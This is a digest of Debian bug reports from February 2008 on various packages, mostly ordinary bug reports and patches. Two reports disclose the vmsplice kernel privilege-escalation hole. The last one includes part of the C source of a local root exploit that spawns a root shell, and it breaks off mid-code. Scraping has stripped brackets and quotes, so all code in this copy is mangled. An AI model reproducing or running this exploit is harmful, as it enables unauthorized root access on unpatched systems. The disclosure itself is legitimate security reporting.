Bug#464938: d-i on i386 with 16 MiB RAM (using swap)
Sorry, the init.diff in the report was corrupt, sending right version. Tomas Tintera --- smazat/init 2008-02-09 19:45:04.0 +0100 +++ a/init 2008-02-09 20:31:20.0 +0100 @@ -209,14 +209,14 @@ echo -n Loading.. # pipe_progress adds dots to the above line while there is - # activity. But we must be sure to catch errors from the zcat. + # activity. But we must be sure to catch errors from the micro-bunzip. # Hard to do in a pipeline.. - echo 0 /tmp/zcat_failure + echo 0 /tmp/bunzip_failure cd mnt - (zcat ../floppy/initrd.gz || echo 1 /tmp/zcat_failure ) | cpio -i -V || abort failed to extract initrd (may be out of space on ram disk) + (micro-bunzip ../floppy/initrd.bz2 || echo 1 /tmp/bunzip_failure ) | cpio -i -V || abort failed to extract initrd (may be out of space on ram disk) cd .. - if [ `cat /tmp/zcat_failure` = 0 ]; then + if [ `cat /tmp/bunzip_failure` = 0 ]; then LOADED=1 else echo install media seems to be bad! 2
Bug#464940: assuming light or dark background
Package: emacs-goodies-el Version: 29.0-1 File: /usr/share/emacs/site-lisp/emacs-goodies-el/rfcview.el RMS What Emacs version is this? Oops, none. Sending to Debian instead. JR == Jason Rumney [EMAIL PROTECTED] writes: JR [EMAIL PROTECTED] wrote: RFCs are unreadable now for me. Must be due to (defface rfcview-headlink-face '((t (:foreground blue)) (t (:bold t))) Face used for hyperlinks to headings. :group 'rfcview) JR This doesn't appear to be part of Emacs. Probably a better way of JR defining that face is JR (defface rfcview-headlink-face JR'((t (:inherit 'link))) JRFace used for hyperlinks to headngs. JR:group 'rfcview) JR That way it will take advantage of any variations that already exist JR for the built-in link face, such as light, dark, grayscale, or user JR customizations. OK, I put that snippet in .emacs, pending change in Debian etc. Looks good. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464941: apt-get update and GPG error: public key is not available
Package: apt Version: 0.7.10 Severity: normal Each time I run apt-get update, I get the following error: W: GPG error: http://emacs.orebokech.com sid Release: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY A20376BEC03C56DF W: You may want to run apt-get update to correct these problems It says to run apt-get update to correct these problems, but this is exactly what I did and I still get the same error! -- Package-specific info: -- apt-config dump -- APT ; APT::Architecture amd64; APT::Build-Essential ; APT::Build-Essential:: build-essential; APT::Install-Recommends 1; APT::Install-Suggests 0; APT::Acquire ; APT::Acquire::Translation environment; APT::Authentication ; APT::Authentication::TrustCDROM true; APT::NeverAutoRemove ; APT::NeverAutoRemove:: ^linux-image.*; APT::NeverAutoRemove:: ^linux-restricted-modules.*; APT::Cache-Limit 33554432; Dir /; Dir::State var/lib/apt/; Dir::State::lists lists/; Dir::State::cdroms cdroms.list; Dir::State::userstatus status.user; Dir::State::status /var/lib/dpkg/status; Dir::Cache var/cache/apt/; Dir::Cache::archives archives/; Dir::Cache::srcpkgcache srcpkgcache.bin; Dir::Cache::pkgcache pkgcache.bin; Dir::Etc etc/apt/; Dir::Etc::sourcelist sources.list; Dir::Etc::sourceparts sources.list.d; Dir::Etc::vendorlist vendors.list; Dir::Etc::vendorparts vendors.list.d; Dir::Etc::main apt.conf; Dir::Etc::parts apt.conf.d; Dir::Etc::preferences preferences; Dir::Bin ; Dir::Bin::methods /usr/lib/apt/methods; Dir::Bin::dpkg /usr/bin/dpkg; Dir::Log var/log/apt; Dir::Log::Terminal term.log; DPkg ; DPkg::Pre-Install-Pkgs ; DPkg::Pre-Install-Pkgs:: /usr/sbin/apt-listbugs apt || exit 10; DPkg::Pre-Install-Pkgs:: /usr/bin/apt-listchanges --apt; DPkg::Tools ; DPkg::Tools::Options ; DPkg::Tools::Options::/usr/sbin/apt-listbugs ; DPkg::Tools::Options::/usr/sbin/apt-listbugs::Version 2; DPkg::Tools::Options::/usr/bin/apt-listchanges ; DPkg::Tools::Options::/usr/bin/apt-listchanges::Version 2; DPkg::Post-Invoke ; DPkg::Post-Invoke:: if [ -x /usr/bin/debsums ]; then /usr/bin/debsums --generate=nocheck -sp /var/cache/apt/archives; fi; Aptitude ; Aptitude::UI ; Aptitude::UI::Package-Display-Format %c%a%M %p %Z %24v %24V; -- (no /etc/apt/preferences present) -- -- /etc/apt/sources.list -- # /etc/apt/sources.list #deb file:///usr/local/deb/ ./ deb http://ftp.fr.debian.org/debian/ stable main contrib non-free deb-src http://ftp.fr.debian.org/debian/ stable main contrib non-free deb http://ftp.fr.debian.org/debian/ unstable main contrib non-free deb-src http://ftp.fr.debian.org/debian/ unstable main contrib non-free deb http://security.debian.org/ stable/updates main contrib non-free deb http://security.debian.org etch/updates main contrib non-free deb-src http://security.debian.org etch/updates main contrib non-free # For emacs-snapshot, as it is no longer maintained in Debian due to the GFDL # (see http://lists.debian.org/debian-emacsen/2007/03/msg00012.html). deb http://emacs.orebokech.com sid main deb-src http://emacs.orebokech.com sid main # $Id: sources.list 20999 2008-01-30 23:09:44Z lefevre $ -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable'), (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 2.6.23.13-ws-intel64-p4 (SMP w/2 CPU cores; PREEMPT) Locale: LANG=POSIX, LC_CTYPE=en_US.ISO8859-1 (charmap=ISO-8859-1) Shell: /bin/sh linked to /bin/bash Versions of packages apt depends on: ii debian-archive-keyring 2007.07.31 GnuPG archive keys of the Debian a ii libc6 2.7-6GNU C Library: Shared libraries ii libgcc1 1:4.3-20080202-1 GCC support library ii libstdc++6 4.3-20080202-1 The GNU Standard C++ Library v3 apt recommends no packages. -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464924: glibc: errors during build: object 'libfakeroot-sysv.so' [...] cannot be preloaded
Frans Pop a écrit : On Saturday 09 February 2008, you wrote: Should glibc build depend on fakeroot, or is this completely harmless and should it just be ignored? This is harmless. I don't know what the locale generation is doing that breaks the preloading, but it doesn't need to be run under fakeroot anyway. As I say, I'm just using pbuilder (debuild), and that in its default configuration where it comes to what commands it uses to gain root during the build process: #for pbuilder debuild BUILDSOURCEROOTCMD=fakeroot PBUILDERROOTCMD=sudo If you (plural) don't feel this is an environment where building glibc should be possible without these errors, that's fine by me. This is nothing related to pbuilder, the problem also appears on some of the build daemons or when using dpkg-buildpackage -rfakeroot. Anyway you can safely ignore this error, as it has no impact on the final .deb package. fakeroot is actually not need for that part, but it depends on a part which needed fakeroot. That's why it is done in the binary-arch target. -- .''`. Aurelien Jarno | GPG: 1024D/F1BCDB73 : :' : Debian developer | Electrical Engineer `. `' [EMAIL PROTECTED] | [EMAIL PROTECTED] `-people.debian.org/~aurel32 | www.aurel32.net -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464943: knotes: all notes appears four times
Package: knotes Version: 4:3.5.8-1 Severity: important All notes appear four times in my Desktop and in the Kontact notes screen too, but they are only one time in the .kde/share/apps/knotes/notes.ics file, so if you delete one of the copies and does not touch the remaining, the system deletes _the_ note from notes.ics and you lose it completely. -- System Information: Debian Release: lenny/sid APT prefers testing APT policy: (990, 'testing'), (500, 'testing-proposed-updates'), (500, 'unstable') Architecture: i386 (i686) Kernel: Linux 2.6.22-3-686 (SMP w/2 CPU cores) Locale: LANG=es_ES.UTF8, LC_CTYPE=es_ES.UTF8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages knotes depends on: ii kdelibs4c2a 4:3.5.8.dfsg.1-7 core libraries and binaries for al ii libc6 2.7-6GNU C Library: Shared libraries ii libgcc1 1:4.3-20080116-1 GCC support library ii libkcal2b 4:3.5.8-1KDE calendaring library ii libkdepim1a 4:3.5.8-1KDE PIM library ii libqt3-mt 3:3.3.7-9Qt GUI Library (Threaded runtime v ii libstdc++6 4.3-20080116-1 The GNU Standard C++ Library v3 ii libx11-62:1.0.3-7X11 client-side library knotes recommends no packages. -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464944: liblapack3gf: dgesdd reports wrong work space size for one svd code path
Package: liblapack3gf
Version: 3.0.2531a-1.3
Severity: important
For a few years now, I have built R with R's own lapack routines. I tried to
switch back yesterday only to get a decisive bug report (#464833) to convince
me otherwise :)
I have spent a good part of today trying to figure out what triggers the bug.
What happens when you call 'example(kappa)' in R is that a few invocations to
svd() occur. The killer is
svd(h9,0,0)
Error in La.svd(x, nu, nv) :
BLAS/LAPACK routine 'DGEBRD' gave error code -10
where h9 is a 9x9 matrix (see below). The second+third arguments are key,
they basically signal to R and then Lapack to call DGESDD with 'JOBZ' equal
to 'N' -- ie perform a 'small' svd where no U or VT are returned.
What then happens is that svd() calls some other code that eventually sets
two calls to DGESS. The first is meant to provide the size of the main
workspace -- and this fails. This is the bug. We get a return of 1 when we
should get 603.
The bug is not triggered in the
svd(h9)
case as for full U and V returns, are different path is taken.
I attach an example program below. It runs as follows
[EMAIL PROTECTED]:~/src/progs/C ./lapack_dgesdd
info 0 tmp 1.00 != recd 603
1.725883,0.321633,0.031039,0.001979,0.88,0.03,0.00,0.00,0.00
Kappa == max(s)/min(s) == 4.861940e+11
[EMAIL PROTECTED]:~/src/progs/C
and works because I override the faulty output from the first call to
DGESDD. Once you comment that out, it terminates with a similar error as R:
[EMAIL PROTECTED]:~/src/progs/C ./lapack_dgesdd
info 0 tmp 1.00 != recd 603
** On entry to DGEBRD parameter number 10 had an illegal value
The program is below. The key overrride line is
lwork = recsize;
which 'fixes' things, ie suppresses the bug. Else it rears its head.
I haven't looked at the Debian sources of lapack to see if our Fortran code
is different from what R ships -- my Fortran knowledge is probably too
rudimentary for this.
Hope this helps, I'd be glad to help with follow-ups.
Dirk
Source code below. I build via
gcc -O3 -Wall -o lapack_dgesdd lapack_dgesdd.c -llapack
-
/*
* Demonstrate a bug in Lapack's DGESDD
*
* This bug was triggered when R switched from its own Lapack routine to
* Debian's liblapack-dev [ versions: R 2.6.2-1, liblapack 3.0.2531a-1.3 ]
*
* Simply running
* example(kappa)
* in R triggers it. The offending code is
* kappa(h9, exact = TRUE)
* which calls
* if (exact) {
* s - svd(z, nu = 0, nv = 0)$d
* max(s)/min(s[s 0])
* }
* and nu=0, nv=0 is key here.
*
* The example creates a 9x9 matrix which is then passed
* via kappa() [ an R function in src/library/base/R/kappa.R ]
* to svd()[ an R function in src/library/base/R/svd.R ]
* to La.svd() [ an R function in src/library/base/R/LAPACK.R ]
* to La_svd [ a C interface routine in src/modules/lapack/Lapack.c)
* to modLa_svd [ a C routine called via a function pointer redirect,
*both src/modules/lapack/Lapack.c ]
* to dgessdd [ a Fortran routine in src/modules/lapack/dlapack1.f ]
*
* Dirk Eddelbuettel, 08 Feb 2009
*
*/
#include stdio.h
#include stdlib.h
/* defined in /usr/share/R/include/R_ext/Lapack.h, but also see RS.h in the
same directory re underscores */
void dgesdd_(const char *jobz,
const int *m, const int *n,
double *a, const int *lda, double *s,
double *u, const int *ldu,
double *vt, const int *ldvt,
double *work, const int *lwork, int *iwork, int *info);
static int min(a,b) { return a b ? a : b; };
static int max(a,b) { return a b ? a : b; };
int main (void) {
char jobu = 'N';/* 'jobz' job type */
int n = 9; /* 'm' rows */
int p = 9; /* 'n' cols */
double xvals[] = { /* 'a' input/output array */
1., 0.5000, 0.3, 0.25000,
0.2, 0.16667, 0.1428571428571, 0.12500,
0.1,
0.5000, 0., 0.25000, 0.2,
0.16667, 0.1428571428571, 0.12500, 0.1,
0.1,
0., 0.2500, 0.2, 0.16667,
0.1428571428571, 0.12500, 0.1, 0.1,
0.0909090909091,
0.2500, 0.2000, 0.16667, 0.1428571428571,
0.12500, 0.1, 0.1, 0.0909090909091,
0.08333,
0.2000, 0.1667, 0.1428571428571, 0.12500,
0.1, 0.1, 0.0909090909091, 0.08333,
0.0769230769231,
0.1667, 0.142857142857, 0.12500, 0.1,
0.1, 0.0909090909091, 0.08333, 0.0769230769231,
0.0714285714286,
0.142857142857,
Bug#464945: linux-image-2.6.18-6-686: Exploit for vmsplice work for linux-image-2.18-5-686 (CVE-2008-0009/10)
Package: linux-image-2.6.18-6-686 Version: 2.6.18.dfsg.1-17etch1 Severity: critical Tags: security Justification: root security hole Just try explot from http://www.milw0rm.com/exploits/5092 at my linux-image-2.6.18-5-686 kernel. And it works. Please backport patch from 2.6.24.1 kernel (CVE-2008-0009/10). -- System Information: Debian Release: 4.0 APT prefers stable APT policy: (500, 'stable') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.18-5-686 Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Versions of packages linux-image-2.6.18-6-686 depends on: ii coreutils5.97-5.3The GNU core utilities ii debconf [debconf-2.0]1.5.11etch1 Debian configuration management sy ii initramfs-tools [linux-initr 0.85h tools for generating an initramfs ii module-init-tools3.3-pre4-2 tools for managing Linux kernel mo Versions of packages linux-image-2.6.18-6-686 recommends: ii libc6-i686 2.3.6.ds1-13etch4 GNU C Library: Shared libraries [i -- debconf information: shared/kernel-image/really-run-bootloader: true linux-image-2.6.18-6-686/preinst/elilo-initrd-2.6.18-6-686: true linux-image-2.6.18-6-686/preinst/already-running-this-2.6.18-6-686: linux-image-2.6.18-6-686/postinst/depmod-error-2.6.18-6-686: false linux-image-2.6.18-6-686/preinst/initrd-2.6.18-6-686: linux-image-2.6.18-6-686/postinst/old-initrd-link-2.6.18-6-686: true linux-image-2.6.18-6-686/preinst/bootloader-initrd-2.6.18-6-686: true linux-image-2.6.18-6-686/preinst/abort-install-2.6.18-6-686: linux-image-2.6.18-6-686/preinst/lilo-has-ramdisk: linux-image-2.6.18-6-686/preinst/overwriting-modules-2.6.18-6-686: true linux-image-2.6.18-6-686/postinst/bootloader-error-2.6.18-6-686: linux-image-2.6.18-6-686/prerm/would-invalidate-boot-loader-2.6.18-6-686: true linux-image-2.6.18-6-686/postinst/bootloader-test-error-2.6.18-6-686: linux-image-2.6.18-6-686/postinst/create-kimage-link-2.6.18-6-686: true linux-image-2.6.18-6-686/postinst/depmod-error-initrd-2.6.18-6-686: false linux-image-2.6.18-6-686/preinst/lilo-initrd-2.6.18-6-686: true linux-image-2.6.18-6-686/postinst/old-dir-initrd-link-2.6.18-6-686: true linux-image-2.6.18-6-686/preinst/failed-to-move-modules-2.6.18-6-686: linux-image-2.6.18-6-686/preinst/abort-overwrite-2.6.18-6-686: linux-image-2.6.18-6-686/prerm/removing-running-kernel-2.6.18-6-686: true linux-image-2.6.18-6-686/postinst/old-system-map-link-2.6.18-6-686: true linux-image-2.6.18-6-686/postinst/kimage-is-a-directory: -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464941: apt-get update and GPG error: public key is not available
Vincent Lefevre wrote: Package: apt Version: 0.7.10 Severity: normal Each time I run apt-get update, I get the following error: W: GPG error: http://emacs.orebokech.com sid Release: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY A20376BEC03C56DF W: You may want to run apt-get update to correct these problems It says to run apt-get update to correct these problems, but this is exactly what I did and I still get the same error! While your criticism of the suggestion in the error message is valid, I think the answer to your problem can be found at http://emacs.orebokech.com -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464946: K3b crashes because of library problem
Package: k3b Version: 1.0.4-6 After the last upgrades on Sid, K3b crashes immediatly after launching it. This is the message from shell: k3b: symbol lookup error: /usr/lib/libk3b.so.3: undefined symbol: stat64 There i sno way to use it... I'm using Debian Sid with official kernel 2.6.24 Thanx for your attention MS -- linux user no.: 353546 public key at http://keyserver.linux.it -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#461833: totem-xine as default
So FWIW, I agree with Joss, since #370789 seems unlikely to be fixed soon, totem-xine should be the default for lenny. Perhaps there are reasons to prefer using the gstreamer version? I know that totem used to default to xine, and switched to the well-working gstreamer 0.8 for etch. If the error message were at least fixed to not lead users on a wild goose chase for codecs, as I suggest in #464624, and it instead suggested using totem-xine, that might be enough to leave totem-gstreamer as the default. After all, libdvdcss2 has to be manually installed to play most dvds, and so we can't aim for perfect dvd support out of the box anyway. Unless something happens with discover or the like to automate setting that up.. -- see shy jo signature.asc Description: Digital signature
Bug#464797: tightvnc: FTBFS on Arm
Thanks a lot! Do the package work well when it has been built? Yes. Both client and server seem to work as expected. Paul -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464898: suboptimal cursor hiding
forcemerge 460545 464898 kthxbye On Sat, Feb 9, 2008 at 13:03:01 -0500, Joey Hess wrote: Package: xterm Version: 231-2 Severity: normal xterm has grown a cursor hiding feature. It has much to learn from unclutter IMHO, including: * unclutter exists. Why bloat the RSS of every individual X program with their own cursor hiding code? * Turning the cursor into a black dot is not a very good way to hide the cursor. If the cursor happens to be right over a line in a character on screen, that pixel will be turned off, which looks like a broken font. If the cursor happens to be over an inverse color character, it looks like a dead pixel. (I'm using black background obviously.) Please don't emulate dead pixels. (Unclutter makes the cursor transparent, avoiding this problem.) * If I press enter at the shell prompt, or scroll up/down in less, xterm causes the cursor to flicker each time. It looks like an old system with a non-hardware cursor. Yugh. This flashing also prevents unclutter from hiding the cursor, since it thinks it's active. * IMHO, hiding the cursor on a key press is suboptimal; the point of cursor hiding is to get it out of the way when you're reading; I don't always press a key when I'm reading. Unclutter hides the cursor after it's been idle for a second. Obviously, I'd like a way to turn this feature off.. Already fixed in git for 232-1 (hiding the cursor no longer shows a dot, there is a resource to configure this, and it's disabled by default). See git://git.debian.org/git/pkg-xorg/app/xterm Cheers, Julien -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464947: add Vcs- fields
Package: xterm Version: 231-2boldmode1 Severity: normal Tags: patch Unlike most XSF maintained packages, this one is missing Vcs fields. From 65828168ef5c88a337895338aee2ed602a5a785e Mon Sep 17 00:00:00 2001 From: Joey Hess [EMAIL PROTECTED] Date: Sat, 9 Feb 2008 19:39:39 -0500 Subject: [PATCH] add Vcs- fields (And Homepage as a bonus.) --- debian/control |3 +++ 1 files changed, 3 insertions(+), 0 deletions(-) diff --git a/debian/control b/debian/control index 9778330..cd0c562 100644 --- a/debian/control +++ b/debian/control @@ -4,6 +4,9 @@ Priority: optional Maintainer: Debian X Strike Force [EMAIL PROTECTED] Uploaders: David Martínez Moreno [EMAIL PROTECTED], David Nusinow [EMAIL PROTECTED], Julien Cristau [EMAIL PROTECTED] Standards-Version: 3.7.3 +Vcs-Browser: http://git.debian.org/?p=pkg-xorg/app/xterm +Vcs-Git: git://git.debian.org/git/pkg-xorg/app/xterm +Homepage: http://invisible-island.net/xterm/xterm.html Build-Depends: libncurses5-dev | libncurses-dev, libxft-dev ( 2.1.2), libxrender-dev ( 1:0.9.0), libxaw7-dev, debhelper (= 4.1.16), quilt, lynx # Reasons for Build-Depends: -- 1.5.4 -- see shy jo signature.asc Description: Digital signature
Bug#464950: better examples for extracting links from an LOCAL HTML document
Package: /usr/share/doc/libhtml-parser-perl/examples/hanchors Severity: wishlist # This program will print out all a href=.. links in a # document together with the text that goes with it. Isn't that what HTML::LinkExtor - Extract links from an HTML document is for? However one cannot figure out from HTML::LinkExtor how to do it from a regular file. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464949: dh-make: Update to the latest recommended debhelper compat level
Package: dh-make
Version: 0.44
Severity: wishlist
Tags: patch
Hi again!
Attached is a patch to update to the latest debhelper version. I hope
that I didn't miss anything.
Thank you very much!
Best regards,
Nelson
-- System Information:
Debian Release: lenny/sid
APT prefers unstable
APT policy: (500, 'unstable'), (1, 'experimental')
Architecture: i386 (i686)
Kernel: Linux 2.6.24-naoliv1 (SMP w/2 CPU cores; PREEMPT)
Locale: LANG=pt_BR.UTF-8, LC_CTYPE=pt_BR.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Versions of packages dh-make depends on:
ii debhelper 6.0.5 helper programs for debian/rules
ii dpkg-dev 1.14.16.6 package building tools for Debian
ii make 3.81-3 The GNU version of the make util
ii perl 5.8.8-12 Larry Wall's Practical Extraction
dh-make recommends no packages.
-- no debconf information
diff -ur dh-make-0.44-orig/debian/compat dh-make-0.44/debian/compat
--- dh-make-0.44-orig/debian/compat 2008-02-09 22:39:46.0 -0200
+++ dh-make-0.44/debian/compat 2008-02-09 22:42:23.0 -0200
@@ -1 +1 @@
-5
+6
diff -ur dh-make-0.44-orig/dh_make dh-make-0.44/dh_make
--- dh-make-0.44-orig/dh_make 2008-02-09 22:39:46.0 -0200
+++ dh-make-0.44/dh_make2008-02-09 22:41:16.0 -0200
@@ -477,7 +477,7 @@
our ($CONFIG_STATUS, $CONFIGURE_STAMP, $PHONY_CONFIGURE, $CONFIGURE,
$DPKG_ARCH, $INSTALL, $CLEAN, $CDBS_CLASS );
-our $BUILD_DEPS = 'debhelper (= 5)';
+our $BUILD_DEPS = 'debhelper (= 6)';
if ($package_type eq b) {
$BUILD_DEPS = 'cdbs, '.$BUILD_DEPS;
}
diff -ur dh-make-0.44-orig/lib/debian/compat dh-make-0.44/lib/debian/compat
--- dh-make-0.44-orig/lib/debian/compat 2008-02-09 22:39:46.0 -0200
+++ dh-make-0.44/lib/debian/compat 2008-02-09 22:42:26.0 -0200
@@ -1 +1 @@
-5
+6
diff -ur dh-make-0.44-orig/lib/debiank/control dh-make-0.44/lib/debiank/control
--- dh-make-0.44-orig/lib/debiank/control 2008-02-09 22:39:46.0
-0200
+++ dh-make-0.44/lib/debiank/control2008-02-09 22:41:27.0 -0200
@@ -12,7 +12,7 @@
Package: #PACKAGE#-source
Architecture: all
-Depends: module-assistant, debhelper (= 5), make, bzip2
+Depends: module-assistant, debhelper (= 6), make, bzip2
Description: Source for the #PACKAGE# driver.
This package provides the source code for the #PACKAGE# kernel modules.
The #PACKAGE# package is also required in order to make use of these
diff -ur dh-make-0.44-orig/lib/debiank/control.modules.in
dh-make-0.44/lib/debiank/control.modules.in
--- dh-make-0.44-orig/lib/debiank/control.modules.in2008-02-09
22:39:46.0 -0200
+++ dh-make-0.44/lib/debiank/control.modules.in 2008-02-09 22:41:33.0
-0200
@@ -2,7 +2,7 @@
Section: unknown
Priority: optional
Maintainer: #USERNAME# #EMAIL#
-Build-Depends: debhelper (= 5)
+Build-Depends: debhelper (= 6)
Standards-Version: #POLICY#
Package: #PACKAGE#-modules-_KVERS_
Bug#347790: reminder, this bug was fixed, the fix reverted, and is currently open with patch
I'm getting tired of having to build my own xterm for over a year.. -- see shy jo signature.asc Description: Digital signature
Bug#464948: dh-make: Update to the newer Standards Version
Package: dh-make Version: 0.44 Severity: wishlist Tags: patch Hi! It would be good to have dh-make updated to create templates already including the latest Starndards Version. (really trivial) patch attached. Thank you very much! Best regards, Nelson -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable'), (1, 'experimental') Architecture: i386 (i686) Kernel: Linux 2.6.24-naoliv1 (SMP w/2 CPU cores; PREEMPT) Locale: LANG=pt_BR.UTF-8, LC_CTYPE=pt_BR.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Versions of packages dh-make depends on: ii debhelper 6.0.5 helper programs for debian/rules ii dpkg-dev 1.14.16.6 package building tools for Debian ii make 3.81-3 The GNU version of the make util ii perl 5.8.8-12 Larry Wall's Practical Extraction dh-make recommends no packages. -- no debconf information diff -ur dh-make-0.44.orig/dh_make dh-make-0.44/dh_make --- dh-make-0.44.orig/dh_make 2008-02-09 22:36:05.0 -0200 +++ dh-make-0.44/dh_make2008-02-09 22:37:09.0 -0200 @@ -14,7 +14,7 @@ # Some important parameters our $DHLIB=/usr/share/debhelper/dh_make; -our $POLICY_VERSION=3.7.2; +our $POLICY_VERSION=3.7.3; our $DH_MAKE_VERSION=0.44; my %PACKAGE_TYPES = ( 's' = 'Single', 'l' = 'Library', 'm' = 'Multi-Binary', 'k' = 'Kernel Module', 'b' = 'cdbs');
Bug#464673: [Pkg-cryptsetup-devel] Bug#464673: cryptsetup seems to try to load some padlock modules
On 08/02/2008 Joachim Breitner wrote: The errors are obviously not produced by cryptsetup itself, but rather by some initramfs magic. that's the reason why they only appear at boot process, and not at invoking cryptdisks/cryptsetup manually. I’m not sure about his. I am pretty sure the error messages came _after_ I entered the password the first time, but _before_ cryptsetup exits, which I noticed when I entered the password wrong the first time, and the second prompt came after the error messages. I’ll make sure this observation is correct at the next boot. Also, fgrepping the contents of my initramdisk for padlock, I only get: ./lib/modules/2.6.24-1-686/kernel/drivers/crypto/padlock-aes.ko. ./lib/modules/2.6.24-1-686/kernel/drivers/crypto/padlock-sha.ko. ./sbin/cryptsetup. ./usr/lib/libcrypto.so.0.9.8. so no script is manually loading these. Hey Joachim, Still some script adds the modules to you initramdisk, but i'm not sure whether this is initramfs-tools (update-initramfs) or some thirdparty script. Maybe you could add some debugging code to /usr/share/initramfs-tools/scripts/local-top/cryptroot and/or /usr/share/initramfs-tools/hooks/cryptroot? David, could you give further advice? greetings, jonas signature.asc Description: Digital signature
Bug#464952: ITP: wb -- disk-based associative array library for C, SCM, Java, and C#
Package: wnpp Severity: wishlist WB is a disk based (sorted) associative-array package with C, SCM, Java, and C# libraries. These associative arrays consist of variable length (0.B to 255.B) keys and values. Functions are provided to: * create, destroy, open and close disk-files and associative arrays; * insert, delete, retrieve, find next, and find previous (with respect to dictionary order of keys); and * The atomic `put' and `rem' operations allow associations to be used for process mutexs. * apply functions, delete, or modify values over a range of consecutive key values. The (database) disk files interoperate between the various language libraries. The interface to the SCM Scheme implementation supports longer data values and SLIB relational databases. The WB implementation has a file size limit of 2^32 * block size (default 2048.B) = 2^43 bytes (8796.GB). WB routinely runs with databases of several hundred Megabytes. WB does its own memory and disk management and maintains a RAM cache of recently used blocks. Multiple associative arrays can reside in one disk file. Simultaneous access to multiple disk files is supported. A structure checking and garbage collecting program and a viewer are provided. Compiled, WB occupies approximately 66 kilobytes. WB is implemented using a variant of B-tree structure. B-trees give slower access than hashing but are dynamic and provide an efficient determination of successor and predecessor keys. All operations are O(log(n)) in the size of the database. B-trees are commonly used by database systems for implementing index structures. B-trees are optimized for using the minimum number of disk operations for large data structures. Prefix and suffix key compression are used for storage efficiency in WB. WB is free software and part of the GNU project. It is released under the GNU Lesser General Public License (LGPL). Documentation and distributions in several formats are linked from WB's home page: http://swissnet.ai.mit.edu/~jaffer/WB.html -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464953: linux-2.6: mmap() local root exploit
Package: linux-2.6
Version: 2.6.22-3-generic
Severity: critical
Tags: security
Justification: root security hole
There is a security hole in all versions of linux-2.6 distributed by
Debian, including Etch's kernel.
The attached exploit code can be used to test if a kernel is vulnerable,
it starts a root shell.
-- System Information:
Debian Release: lenny/sid
APT prefers testing
APT policy: (500, 'testing')
Architecture: i386 (i686)
Kernel: Linux 2.6.22-3-generic (SMP w/8 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/bash
*** proof-of-concept.c
/*
* Linux vmsplice Local Root Exploit
* By qaaz
*
* Linux 2.6.17 - 2.6.24.1
*/
#define _GNU_SOURCE
#include stdio.h
#include errno.h
#include stdlib.h
#include string.h
#include malloc.h
#include limits.h
#include signal.h
#include unistd.h
#include sys/uio.h
#include sys/mman.h
#include asm/page.h
#define __KERNEL__
#include asm/unistd.h
#define PIPE_BUFFERS16
#define PG_compound 14
#define uintunsigned int
#define static_inline static inline __attribute__((always_inline))
#define STACK(x)(x + sizeof(x) - 40)
struct page {
unsigned long flags;
int count;
int mapcount;
unsigned long private;
void *mapping;
unsigned long index;
struct { long next, prev; } lru;
};
voidexit_code();
charexit_stack[1024 * 1024];
voiddie(char *msg, int err)
{
printf(err ? [-] %s: %s\n : [-] %s\n, msg, strerror(err));
fflush(stdout);
fflush(stderr);
exit(1);
}
#if defined (__i386__)
#ifndef __NR_vmsplice
#define __NR_vmsplice 316
#endif
#define USER_CS 0x73
#define USER_SS 0x7b
#define USER_FL 0x246
static_inline
voidexit_kernel()
{
__asm__ __volatile__ (
movl %0, 0x10(%%esp) ;
movl %1, 0x0c(%%esp) ;
movl %2, 0x08(%%esp) ;
movl %3, 0x04(%%esp) ;
movl %4, 0x00(%%esp) ;
iret
: : i (USER_SS), r (STACK(exit_stack)), i (USER_FL),
i (USER_CS), r (exit_code)
);
}
static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
movl %%esp, %%eax ;
andl %1, %%eax ;
movl (%%eax), %0
: =r (curr)
: i (~8191)
);
return (void *) curr;
}
#elif defined (__x86_64__)
#ifndef __NR_vmsplice
#define __NR_vmsplice 278
#endif
#define USER_CS 0x23
#define USER_SS 0x2b
#define USER_FL 0x246
static_inline
voidexit_kernel()
{
__asm__ __volatile__ (
swapgs ;
movq %0, 0x20(%%rsp) ;
movq %1, 0x18(%%rsp) ;
movq %2, 0x10(%%rsp) ;
movq %3, 0x08(%%rsp) ;
movq %4, 0x00(%%rsp) ;
iretq
: : i (USER_SS), r (STACK(exit_stack)), i (USER_FL),
i (USER_CS), r (exit_code)
);
}
static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
movq %%gs:(0), %0
: =r (curr)
);
